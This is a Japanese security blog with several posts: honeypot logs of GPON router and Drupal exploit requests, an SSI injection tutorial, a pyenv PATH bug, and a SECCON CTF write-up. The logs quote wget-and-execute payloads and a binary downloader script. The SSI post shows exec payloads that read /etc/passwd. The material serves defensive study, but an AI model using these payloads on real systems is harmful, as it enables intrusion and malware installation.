2018-05-08

（Updated）GPON Home Routers(CVE-2018-10561/CVE-2018-10562) - In the wild - WOWHoneypot

TL;DR

2018年4月30日、GPON Home Routersに存在するRCEの脆弱性(CVE-2018-10561/CVE-2018-10562)が公表されていました。
日本時間2018/05/08 9:52:01(UTC+0900)より、さっそく運用中のハニーポット(WOWHoneypot in Singapol)でこの脆弱性を狙った通信を検知しました。
日本ではこの機器をお持ちの方は少数かと思われますが^[3]、お持ちの方は利用されているISPにBug fixについてご確認いただくことを推奨します^[1]。

Critical RCE Vulnerability Found in Over a Million GPON Home Routers | vpnMentor
Critical RCE vulnerability found in over a million GPON Home RoutersSecurity Affairs
GPON Home Routers – The Next Botnet? ※POCが公開されていることも確認しています。

Attack payloads

検知した通信は以下の通り、脆弱性の存在確認を行うものです。

POST /GponForm/diag_Form?images/ HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: ***.***.***.***:***
Content-Type: text/plain
Content-length: 119

(snip)wget;wget -qO - http://*.*.*.*/***.php?port=****(snip)

IPアドレスはurlscan.ioで確認したところ、IoCsに登録されているものでした。 https://urlscan.io/result/0f362b8f-d4da-4cb6-9f79-fb7e64d12d73/

wgetしている先のファイルは存在していなかったため（404 Not Found）、WOWHoneypotのルールには以下を登録しています。

<mrr>
  <meta>
    (snip)
  </meta>
  <trigger>
    <method>POST</method>
    <uri>/GponForm/diag_Form</uri>
    <body>wget -qO -</body>
  </trigger>
  <response>
    <status>200</status>
    <body filename="notfound.txt"></body>
  </response>
</mrr>

GPON Home Routersを持っていないため適切なレスポンスかどうかは不明ですが、ひとまずはこれで攻撃の傾向を見ていこうと思います。

11 May ,2018 Updated

10, Mayより異なるPayloadの通信を検知しました。 Payloadは以下の通り、攻撃の流れはshellscriptの実行～アーキテクチャごとのELFバイナリを実行するものです。

Payload

POST /GponForm/diag_Form?images/ HTTP/1.1
Host: ***.***.***.***:***
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118

(snip)dest_host=``;wget+http://xxx.xxx.xxx.xxx/r+-O+->/tmp/r;sh+/tmp/r(snip)

shellscript

#!/bin/sh

n="arm mips mipsel arm7"
http_server="xxx.xxx.xxx.xxx"
#dirs="/tmp /var /dev/shm /dev"
dirs="/tmp"

for dir in $dirs
do
    >$dir/c && cd $dir
done

for i in $n
do
    cp $SHELL $i
    >$i
    wget http://$http_server/$i -O -> $i
    chmod 777 $i
done

実行ファイルの動作は未調査のため、一旦ここまでです。

(参考情報)

ファイル名	ハッシュ値(sha-256)
arm	efa4fe06e4949c0f7aedea61a79da92e379ea66b169cd1d99c47b9e93e814093
arm7	1ff787d52bc9e4a6c27d75b1a427c3e5dd16d6d5f082a79227c14edf8e908ab2
mips	bab7e9f42df88902acb00fbdf3b4b5d8ffec2a1a7ad32eb5f2fb1dbf38f3167d
mispel	a79964ce5cf4b92f996bbc24230e102b94ef05fb072c0afdeabc88d28695cace

13 May ,2018 Updated

12, Mayよりまた異なるPayloadの通信を検知しました。 Payloadは以下の通り、busyboxのwgetを用いたものです。対象のファイルは存在せず(404 Not Found)、また仮にダウンロードに成功したとしてもファイルを実行するコマンドがpayload内にないことから、HTTPレスポンス確認による脆弱性の有無確認、もしくはwgetによるコマンド実行確認を期待しているものと考えられます。

Payload 1

POST /GponForm/diag_Form?images/ HTTP/1.1
Host: ***.***.***.***:***
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Content-Type: gzip, deflate
Accept: */*
Content-Length: 112

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://*.*.*.*/$(uname+-m)`&ipv=0

Payload 2

POST /GponForm/diag_Form?images/ HTTP/1.1
Host: ***.***.***.***:***
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Content-Type: gzip, deflate
Accept: */*
Content-Length: 103

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://*.*.*.*/80`&ipv=0

特にPayload 1, 2をカバーするため、以下のルールを加えました。

※上記ルール内wget -qO -をwgetとしても良いかもしれませんが、今後のPayloadで攻撃者が求めるレスポンスに細かい差が出てきた際、変更を加えやすいよう分けてみています。

※Payload 1 に関してはハニーポットクライアントから$(uname -m)なpathのwget通信を発生させる必要があります。

<mrr>
  <meta>
    (snip)
  </meta>
  <trigger>
    <method>POST</method>
    <uri>/GponForm/diag_Form</uri>
    <body>busybox+wget+http</body>
  </trigger>
  <response>
    <status>200</status>
    <body filename="notfound.txt"></body>
  </response>
</mrr>

2018-04-30

WOWHoneypotを使ってみた（運用継続中）

技術書典4で出会えた素晴らしいハニポを植えてみたところ、DrupalのRCE可能な脆弱性（CVE-2018-7600）含めちょいちょいリクエストがきていたので、備忘録がてら。

書くこと書かないこと

書いてる：WOWHoneypotで観測したリクエストと追加したルールの概要、ルール適用後のリクエストの変化
書いてない：WOWHoneypotとは、WOWHoneypotの植え方、育て方、
- いろいろな方がすでにブログに書かれている、開発者の方が技術書典で本を出されているのでここでは書いてません。

観測したリクエスト

CVE-2018-7600

こちらには以下の3種が飛んできていました
1. id: おそらくコマンド実行確認。食いついて欲しいのでルールにはrootが返るように設定。今のところ後続は確認できず。
2. curl/wget: 攻撃者管理のWebサーバへのアクセス有無によるコマンド実行確認 or ファイルの設置確認と予想。ファイルの設置確認の方を期待して、ダウンロードが成功した場合のアクセスを想定したルールを設定したものの後続のリクエストは確認できていない、ということでアクセス有無確認の方が濃厚のようでした。wget/curl拡張...別のを植えた方が早そう。
3. Webshell設置: base64 エンコードした文字列をphpファイルに書き込み実行させるもの。カスタムルールの効果を確認できない状況で飛んできているので、これは運っぽい。phpファイルは eval←gzinflate←str_rot13←base64_decode([base64encoded Webshell source])してました。
参考: ハニーポット観測日記「Drupalで任意のコードが実行可能な脆弱性を狙った攻撃」 | HONEYPOT運用日記
リクエスト例1 → 参考のブログに譲ります。
リクエスト例2

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: [masked]
Content-Type: application/x-www-form-urlencoded
Content-length: 170

form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget%20http%3A%2F%2F[masked]%2Fdrupal.php

リクエスト例3

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Content-Length: 2055
Content-Type: application/x-www-form-urlencoded
Host: [masked]
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.5 (Java/1.8.0_144)
Accept-Encoding: gzip,deflate

form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=echo+%22[masked(base64encoded php source)]%22+%7C+base64+-d+%7C+tee+t6nv.php

CMSとかネットワーク機器系とかその他

/xmlrpc.php
/cgi-bin/index.cgi
/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer
/wls-wsat/CoordinatorPortType
/phpmyadmin

他にも色々飛んできていましたが、ひとまず主なものだけです。

所感

ハニポ運用楽しいですね。引き続きWOWHoneypotで継続していこうと思います。
毎日のレポーティング機能はあると水やりが捗りそう。個人的には適切な水やりの情報が毎日pushsされて欲しいので、ペイロードを確認できるレポーティング機能を準備中。水やりに使う酸素をおくれ。

2017-12-23

pyenvのpythonを叩くと自作goプログラムのpanicが走る怪奇現象

タイトルで出落ち。

結論
きっかけ
解決への流れ
実際
大切なことなので再び結論（自戒を込めて
所感

結論

ビルトインのコマンド名を自作プログラムに使うのはNG（大昔から言われてるからそれ
自作プログラムへのPATHは追加する形で（昔から(ry
ソースコードリーディング楽しい（白目

きっかけ

算数をpythonにお願いしようとしたところ以下のエラーが発生した。

[User@PC] ~
% python
panic: Head http://localhost:18888: dial tcp 127.0.0.1:18888: getsockopt: connection refused

goroutine 1 [running]:
main.main()
    /path/to/head/head.go:11 +0x16e
[User@PC] ~

Goプログラムのソースは以下。書籍「Real World HTTP」の写経で、HTTPのHEADリクエストを送信するもの。

# Filename: head.go
package main

import (
    "log"
    "net/http"
)

func main() {
    resp, err := http.Head("http://localhost:18888")
    if err != nil {
        panic(err)
    }
    log.Println("Status: ", resp.Status)
    log.Println("Headers: ", resp.Header)
}

解決への流れ

pythonの確認
pyenvの確認
headの確認
$PATHの確認

実際

pythonの確認

ブログ用にcat、実際にはless

[User@PC] ~
% file `which python`
/path/to/.anyenv/envs/pyenv/shims/python: Bourne-Again shell script text executable, ASCII text
[User@PC] ~
% cat `which python`
#!/usr/bin/env bash
set -e
[ -n "$PYENV_DEBUG" ] && set -x

program="${0##*/}"
if [[ "$program" = "python"* ]]; then
  for arg; do
    case "$arg" in
    -c* | -- ) break ;;
    */* )
      if [ -f "$arg" ]; then
        export PYENV_FILE_ARG="$arg"
        break
      fi
      ;;
    esac
  done
fi

export PYENV_ROOT="/path/to/.anyenv/envs/pyenv"
exec "/path/to/.anyenv/envs/pyenv/libexec/pyenv" exec "$program" "$@"
[User@PC] ~

※$programや$@にエラーになる要因がないかはechoさせて確認
ここでhead.goが正常動作する場合も確認しておいた。 pyenvのエラーが有用。pyenvの中にエラーの要因があると断定。

[User@PC] ~
% python
2017/12/23 13:57:03 Status:  200 OK
2017/12/23 13:57:03 Headers:  map[Content-Length:[54] Content-Type:[text/html; charset=utf-8] Set-Cookie:[VISIT=TRUE] Date:[Sat, 23 Dec 2017 04:57:03 GMT]]
pyenv: cannot find readlink - are you missing GNU coreutils?

Goのサーバプログラムは以下。これも上記書籍の写経。

package main

import (
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "net/http/httputil"

    "github.com/k0kubun/pp"
)
〜中略〜
func main() {
    var httpServer http.Server
    http.HandleFunc("/", handler)
    httpServer.Addr = ":18888"
    log.Printf("[i] Start http listing %s\n", httpServer.Addr)
    log.Println(httpServer.ListenAndServe())
}

pyenvの確認

catの箇所では文字列検索をしたかったのでvimで開いた

[User@PC] ~
% file /path/to/.anyenv/envs/pyenv/libexec/pyenv
/path/to/.anyenv/envs/pyenv/libexec/pyenv: Bourne-Again shell script text executable, ASCII text
[User@PC] ~
% cat /path/to/.anyenv/envs/pyenv/libexec/pyenv
## 先ほどのエラー「pyenv: cannot find readlink - are you missing GNU coreutils?」で検索
#!/usr/bin/env bash
set -e
unset CDPATH

〜中略〜

  READLINK=$(type -p greadlink readlink | head -1)
  [ -n "$READLINK" ] || abort "cannot find readlink - are you missing GNU coreutils?"

〜以下略〜
[User@PC] ~
%

エラーの箇所を発見、怪しい箇所としてはここのhead。

headの確認

ここでずっこけた。buildした覚えはなかったがどうやら指が勝手に動いていたらしい。

[User@PC] ~
% head
2017/12/23 14:16:31 Status:  200 OK
2017/12/23 14:16:31 Headers:  map[Date:[Sat, 23 Dec 2017 05:16:31 GMT] Content-Length:[54] Content-Type:[text/html; charset=utf-8] Set-Cookie:[VISIT=TRUE]]
[User@PC] ~
% which head
/path/to/$GOPATH/bin/head
[User@PC] ~
%

ひとまず/path/to/$GOPATH/bin/headを削除して動作を確認。

[User@PC] ~
% rm -f $GOPATH/bin/head
[User@PC] ~
% python
Python 2.7.10 (default, Jul 15 2017, 17:16:57) 
[GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.31)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> ^D
[User@PC] ~
%

OK.

PATHの確認

編集前提なのでvimで開いた。

[User@PC] ~
% cat .zshrc

〜中略〜
# Go env
export GOROOT=$HOME/.anyenv/envs/goenv/versions/$GO_VERSION
export GOPATH=$HOME/dev
export PATH=$GOROOT/bin:$GOPATH/bin:$PATH
〜以下略〜

[User@PC] ~
%

ツラい。以下のように修正。

- export PATH=$GOROOT/bin:$GOPATH/bin:$PATH
+ export PATH=$PATH:$GOROOT/bin:$GOPATH/bin

大切なことなので再び結論（自戒を込めて

ビルトインのコマンド名を自作プログラムに使うのはNG（大昔から言われてるからそれ
自作プログラムへのPATHは追加する形で（昔から(ry
~~ソースコードリーディング楽しい（白目~~してない

所感

今まで事故らなかった不思議に困惑
トラブルシューティングよりブログを書く方が時間かかってしんどい

以上！閉廷！解散！

2017-02-01

例えばこんなSSI

概要

資生堂の子会社「イプサ」が運営する「イプサ公式オンラインショップ」にて、SSIインジェクションによる情報漏えいが発生したことを受けて、改めて「SSI」および「SSIインジェクション」の概要、影響、およびその対策を調査・確認した．
ここではその調査・確認内容を記載している．

背景

2016年12月2日、資生堂の子会社「イプサ」が運営する「イプサ公式オンラインショップ」にて情報漏えいが発生したとのニュースがあった．魚拓
この時点においてリリースPDF（魚拓）では「原因の解明と再発防止に向け社外の有識者を交えた調査を引き続き行い（以下省略）」とあり、はっきりした原因は解明できていなかったが、2017年1月31日、続報として以下の情報が報道された．魚拓
 (公式PDF)株式会社イプサ公式オンラインショップへの不正アクセスに関する調査報告書 (魚拓)

調査報告書を確認したところ、SSI、および原因の分析について以下のような記載があったが、その内容に疑問を覚えたので調査・確認に至った．

SSIについて（「ウェブサーバの操作を正規に行うためのプログラム技術」とは？）

SSI⁴の脆弱性を突かれ、（以下省略）
4: SSI（Server Side Includes）はウェブサーバの操作を正規に行うためのプログラム技術
原因の分析（「当該技術の利用箇所を限りなく少なくするなど」は対策となるのか？）

イプサ公式サイトの開発・運用体制において、SSI 技術の利用に関する脆弱性の認識が甘く、当該技術の利用箇所を限りなく少なくするなどの対策が取られていませんでした。

SSI(Server Side Includes)の概要

代表的な Web Server Software である Apache には以下のような記載がある．

Apache
Apache httpd Tutorial: Introduction to Server Side Includes - Apache HTTP Server Version 2.4

SSI (Server Side Includes) are directives that are placed in HTML pages, and evaluated on the server while the pages are being served. They let you add dynamically generated content to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.

Google翻訳

SSI（Server Side Includes）は、HTMLページ内に記載され、ページが提供されている間にサーバー上で評価されるディレクティブです。CGIプログラムやその他の動的な技術を使ってページ全体を提供することなく、動的に生成されたコンテンツを既存のHTMLページに追加することができます。

たとえばhtmlソース中に<!–#include file=“header.html” –>と書けば、記載箇所にheader.htmlが、<!–#include file=“footer.php” –>と書けば記載箇所にfooter.phpが読み込まれる、というもの．これは読み込み対象（例で言うとheader.html、footer.php）が動的に変化しても呼び出し元に手を加える必要がないという点で便利な機能である．

実際的な例であれば、企業さんのWebページで、以下のようなどのページにも表示させたいヘッダとフッタがある場合、SSIを使用するとすべてのページに次のように記載をすれば実現可能である．

ヘッダの記述例
<!–#include file=“header.html” –>
表示させたいヘッダ例
フッタの記述例
<!–#include file=“footer.html” –>
表示させたいフッタ例

※例であって、画像の実際のページでSSIは使用されていない．

ヘッダ/フッタに変更を加える場合、呼び出されているheader.html、footer.htmlを変更すれば、呼び出している全ページの表示に変更が適用されるため、メンテナンスコストが少なく済むメリットを持つ．

SSI 設定例

Apache HTTP Server の場合について触れる．
OS : CentOS 6 系
Apache : 2.2.15(yum インストール) ※古いのは脆弱性の検証環境のため

/etc/httpd/conf/httpd.conf

<Directory "/var/www/html">
    〜
    # Options 設定にSSIインクルードを追加
    # "+"がOptionsへの追加宣言、Options設定を〜の箇所で行っていない場合、"+"は不要
    Options +Includes

    # SSI を適用する拡張子の指定（デフォルトは.shtml等特別な拡張子のみ有効）
    # 脆弱性検証のため、.htmlおよび.phpを指定
    AddOutputFilter INCLUDES .html .php
</Directory>

上記のように設定し、指定したディレクトリに以下のようなファイルを用意する．

index.html

<!--#include file="hello.html" -->

hello.html

<html>  
<body>  
Hello, world  
</body>  
</html>

index.html にアクセスすると以下のように表示される

f:id:news-nknskn:20170201040304p:plain

SSIインジェクションの概要

安全なウェブアプリケーションやウェブサービスのセキュリティの改善を目的とした共同研究や関連活動を行っている非営利団体｢OWASP」によると以下の通り．

The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. It can be exploited through manipulation of SSI in use in the application or force its use through user input fields.(中略)
In any case, the attack will be successful only if the web server permits SSI execution without proper validation. This can lead to access and manipulation of file system and process under the permission of the web server process owner.

The attacker can access sensitive information, such as password files, and execute shell commands. The SSI directives are injected in input fields and they are sent to the web server. The web server parses and executes the directives before supplying the page. Then, the attack result will be viewable the next time that the page is loaded for the user’s browser.

Server-Side Includes (SSI) Injection

ユーザからの入力を適切な検証（HTMLエスケープ、入力値のバリデーション）なしに出力しているWebアプリケーションにおいて、HTMLページに例で示したようなスクリプト（<!–#include file=“hello.html” –>）を挿入された場合に、挿入されたSSIが実行されてしまうという問題である．ここの例ではファイルのインクルードを示しているが、SSIではWebサービス実行ユーザ権限でのOSコマンド実行も可能である．
OSコマンドを実行する場合、<!–#exec cmd=“ls” –> というように記述する．

SSIインジェクションの影響

Webサービス実行ユーザ権限でのOSコマンド実行が可能なため、以下のような影響が考えられる．

不正な外部ファイルの読み込み (ダウンロード後にinclude)
マルウェアのダウンロードおよび実行
サービス実行ユーザで閲覧可能な範囲での情報漏えい

さらに、サーバに権限昇格可能な脆弱性が存在する場合、攻撃者にサーバを乗っ取られる可能性が考えられる．
※余談：WebアプリケーションにSSIインジェクションが存在する場合、そのアプリケーションではそもそも入力値のチェック、入力データを出力する際のHTMLエスケープ処理が行われていない可能性がある．そのためデータベースへ登録処理を行う箇所ではSQLインジェクション、入力確認画面におけるXSS（クロスサイトスクリプティング）も存在する可能性が考えられる．

検証例

1.入力値をエスケープせずに出力

以下のようなデータ送信画面、および入力確認画面があったとする．
- input.html

<html>
<body>
<br>
<h1>データ送信</h1>
<form action="output.php" method="post">
<input type="text" name="data">
<input type="submit" value ="送信">
</form>
</body>
</html>

f:id:news-nknskn:20170201043444p:plain
- output.php

<html>
<body>
<?php
$data = $_POST["data"];
echo $data; // Vuln
?>
</body>
</html>

f:id:news-nknskn:20170201043542p:plain ※input.html において値を"test"として「送信」を押下した際の画面

input.html において、値を「<!–#exec cmd=“curl https://www.google.co.jp” –>」として「送信」を押下すると、以下のように、ブラウザにてサーバ上でcurlコマンドを実行した結果を確認することができる．
f:id:news-nknskn:20170201044216p:plain

2.SQLインジェクションが成功しデータベースにSSIのスクリプトが混入、データをエスケープせずに出力

以下のようなデータ出力画面があったとする．
ここでは簡略化のため「PDO::〜」等を省略して「file_get_contents(‘db.result’);」としている．
~~「$output」~~「$data」にはselect文の結果（SSIスクリプト）が混入していると想定．
- output.php

<html>
<body>
<?php
$data = file_get_contents('db.result');
echo $data; // Vuln
?>
<br>
<a href="input.html">戻る</a>
</body>
</html>

混入しているスクリプトは下記の通り．
- db.result

<!--#exec cmd="cat /etc/passwd" -->

output.php にアクセスすると以下のようになる．（一部マスク） f:id:news-nknskn:20170201050120p:plain

対策

どちらの場合も入力データの出力箇所である"echo $data;“においてエスケープを行うことで、SSIインジェクション対策となる．phpであれば、例えば以下のような記述．

<html>
<body>
<?php
$data = file_get_contents('db.result');
echo htmlspecialchars($data); // Not Vuln
?>
<br>
<a href="input.html">戻る</a>
</body>
</html>

f:id:news-nknskn:20170201051156p:plain

※出力箇所におけるエスケープ処理はXSSの対策にもなる．SQLインジェクション対策にはならない．

2017/2/1 追記
httpd.conf のOptionsにて以下のように設定するとexecを除き、SSIを使用することができる．

Options +IncludeNOEXEC

まとめ

上記の検証例には記載していないものもあるが、SSIインジェクションが存在するアプリケーションにおいて、外部リソースへのアクセス、外部ファイルのダウンロード、およびOSコマンド実行の動作確認を行った．上記の通り、Webサーバを動作させているユーザの権限で実行可能であることを確認した．これによってバックドアページの設置等、今回のインシデントにつながる動作を確認できたと思われる． SSIを利用する上でのSSIインジェクション対策は、ユーザからの入力値を出力する箇所においてエスケープ処理を行うこと、もしくは暫定的な回避策としてIncludeNOEXECを設定することが考えられる．

参考

2016-12-11

SECCON 2016 Writeup(Vigenère, Anti-Debugging)

今回チャレンジした問題（Vigenère, Anti-Debugging）のWriteupです.
2問しかチャレンジしてないのでちょっとした手順も書いてみました.
# 今度はちゃんとSECCONに向けてスケジュールを調整したい...（去年も同じことを呟いたような）

Vigenère

下記のような問題でした。

k: ????????????
p: SECCON{???????????????????????????????????}
c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ
k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe
|ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
-+----------------------------
A|ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
B|BCDEFGHIJKLMNOPQRSTUVWXYZ{}A
C|CDEFGHIJKLMNOPQRSTUVWXYZ{}AB
D|DEFGHIJKLMNOPQRSTUVWXYZ{}ABC
E|EFGHIJKLMNOPQRSTUVWXYZ{}ABCD
F|FGHIJKLMNOPQRSTUVWXYZ{}ABCDE
G|GHIJKLMNOPQRSTUVWXYZ{}ABCDEF
H|HIJKLMNOPQRSTUVWXYZ{}ABCDEFG
I|IJKLMNOPQRSTUVWXYZ{}ABCDEFGH
J|JKLMNOPQRSTUVWXYZ{}ABCDEFGHI
K|KLMNOPQRSTUVWXYZ{}ABCDEFGHIJ
L|LMNOPQRSTUVWXYZ{}ABCDEFGHIJK
M|MNOPQRSTUVWXYZ{}ABCDEFGHIJKL
N|NOPQRSTUVWXYZ{}ABCDEFGHIJKLM
O|OPQRSTUVWXYZ{}ABCDEFGHIJKLMN
P|PQRSTUVWXYZ{}ABCDEFGHIJKLMNO
Q|QRSTUVWXYZ{}ABCDEFGHIJKLMNOP
R|RSTUVWXYZ{}ABCDEFGHIJKLMNOPQ
S|STUVWXYZ{}ABCDEFGHIJKLMNOPQR
T|TUVWXYZ{}ABCDEFGHIJKLMNOPQRS
U|UVWXYZ{}ABCDEFGHIJKLMNOPQRST
V|VWXYZ{}ABCDEFGHIJKLMNOPQRSTU
W|WXYZ{}ABCDEFGHIJKLMNOPQRSTUV
X|XYZ{}ABCDEFGHIJKLMNOPQRSTUVW
Y|YZ{}ABCDEFGHIJKLMNOPQRSTUVWX
Z|Z{}ABCDEFGHIJKLMNOPQRSTUVWXY
{|{}ABCDEFGHIJKLMNOPQRSTUVWXYZ
}|}ABCDEFGHIJKLMNOPQRSTUVWXYZ{
Vigenere cipher
https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher

古典暗号の Vigenère Cipher （問題文のリンクを参照）によって暗号化された平文を解読する問題です.
Vigenère Cipher は簡単に言うと、横軸に平文一文字、縦軸に鍵一文字を取り、テーブルを参照したときに該当する文字が暗号化した文字として出力される暗号です（リンクを読んで知った）.
平文長 > 鍵長の場合、暗号化には鍵に用いられた文字列が繰り返し適用されます.
このことから、暗号文の出力は簡易的に以下のように考えることができます.

p[x] = 'plain text'
k[x] = 'key text'
c[x] = 'ciphe text' # 文字数合わせのため、誤字ではありません
table[28] = ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
c[i] = table[(p[i]_index + k[i]_index) mod (table length)]
# ここでは _index は 対象の文字がtableの何文字目か を示しています.

今回の問題だと鍵（k）の長さは ? の数（12）、平文（p）の長さ（=暗号文の長さ）は 43 です.
良い解読手法を知らなかった/思いつかなかったので k は総当りで探し、p が示されている md5(p) と一致した場合に p を出力するスクリプトにします.（圧倒的勉強不足）

事前準備
今回のテーブルは上記の通り 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}' で、table 長は 28 です.
鍵を完全に総当りをすると 28¹³ （6502111422497947648 = 2⁶² < 28¹³ < 2663）となってちょっとした時間がかかるため、事前準備として分かる箇所を出します.
p = SECCON{
c = LMIG}RP
上記から k = VIGENER (7 文字) であることがわかります.
確認できた内容と問題のタイトルからなんとなく 8 文字目は E っぽい（VIGENER(E) かな？）です.
ひとまず、平文すべてに暗号化を行う際の鍵は以下と仮定します（8文字目(Rの次)の E が不確定）.
k = VIGENERE????VIGENERE????VIGENERE????VIGENER
次に残りの4 文字の ? について総当りします.
脳直スクリプト

% python vigenere_dec.py
SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}

正解でした.

Anti-Debugging

bin というファイルをダウンロードし、フラグを見つけ出せ、という問題です.
とりあえず file と strings を叩きます.

% file bin
bin: PE32 executable for MS Windows (console) Intel 80386 32-bit

Windows でデバッグですかね.

# 以下はコメントです
% strings bin
!Enjoy CTF! . # 楽しんでますよ
Richw0B
.text
`.rdata
@.data
.rsrc
（中略）
ollydbg.exe
ImmunityDebugger.exe
idaq.exe
Wireshark.exe
Input password >
I have a pen.
Your password is correct.
But detected debugger!
（But 〜系が続くため省略）
But detected Debugged.
;aj&@:JQ7HBOt[h?U8aCBk]OaI38 # flagっぽい
check!
password is wrong.
（中略）
Process32Next
Process32First
CreateToolhelp32Snapshot
（アンチでバッグで使用する関数や DLL とかその他諸々. 以下省略）

「Input password >」「I have a pen.」から、起動したらパスワード入力のルーチンがありそうです.
また、アンチデバッグ機能はある程度含まれている模様.
そのあとに暗号化してある文字列を復号してどこかしらに出力してくれる流れでしょうか.（そうであってくれという願望）
Wireshark を検知しているところを見ると通信も見せたくないのかな？なんてことも頭に入れておきました（意味はありませんでした）.
とりあえず見た感じアンチデバッグには少なくとも IsDebuggerPresent とプロセス名での検知がありそうです.
ひとまずバイナリエディタで見つけた文字列の exe を ex_ と変更しておきます.（要らない）
次に、おもむろに IDA で bin.exe (拡張子 .exe を付加) を開き、デバッグしていそうなところを特定します.
「Input password >」で検索.

f:id:news-nknskn:20161211204300p:plain

OllyDbg で飛ぶとこんな感じです.

f:id:news-nknskn:20161211205255p:plain

下の方にアンチデバッグしている箇所がちょいちょいあり、フラグを書き換えるのがめんどくさいので暗号文を用意しているっぽい箇所に飛んでみます.
# 00401663 に New origin here

f:id:news-nknskn:20161211205335p:plain

ちょっと動かしてみると for で回っていることがわかります.
めんどくさいのでひとまず MessageBoxA の直後にソフトウェアブレークポイントを設定、F9.

f:id:news-nknskn:20161211205807p:plain

出ました.

flag : SECCON{check_Ascii85}

簡単な感想

Webに触れたかった...
あとuncomfortable webは脆弱性のある kernel だったら権限昇格して楽にささっと解けるかもなー、と思ってバージョンとか見てみたけどダメだったので諦めました.
# CentOS 6.8 2.6.32-642.11.1.el6.x86_64、2016/11/19 にリリースなんですよね...くそう.

以上です.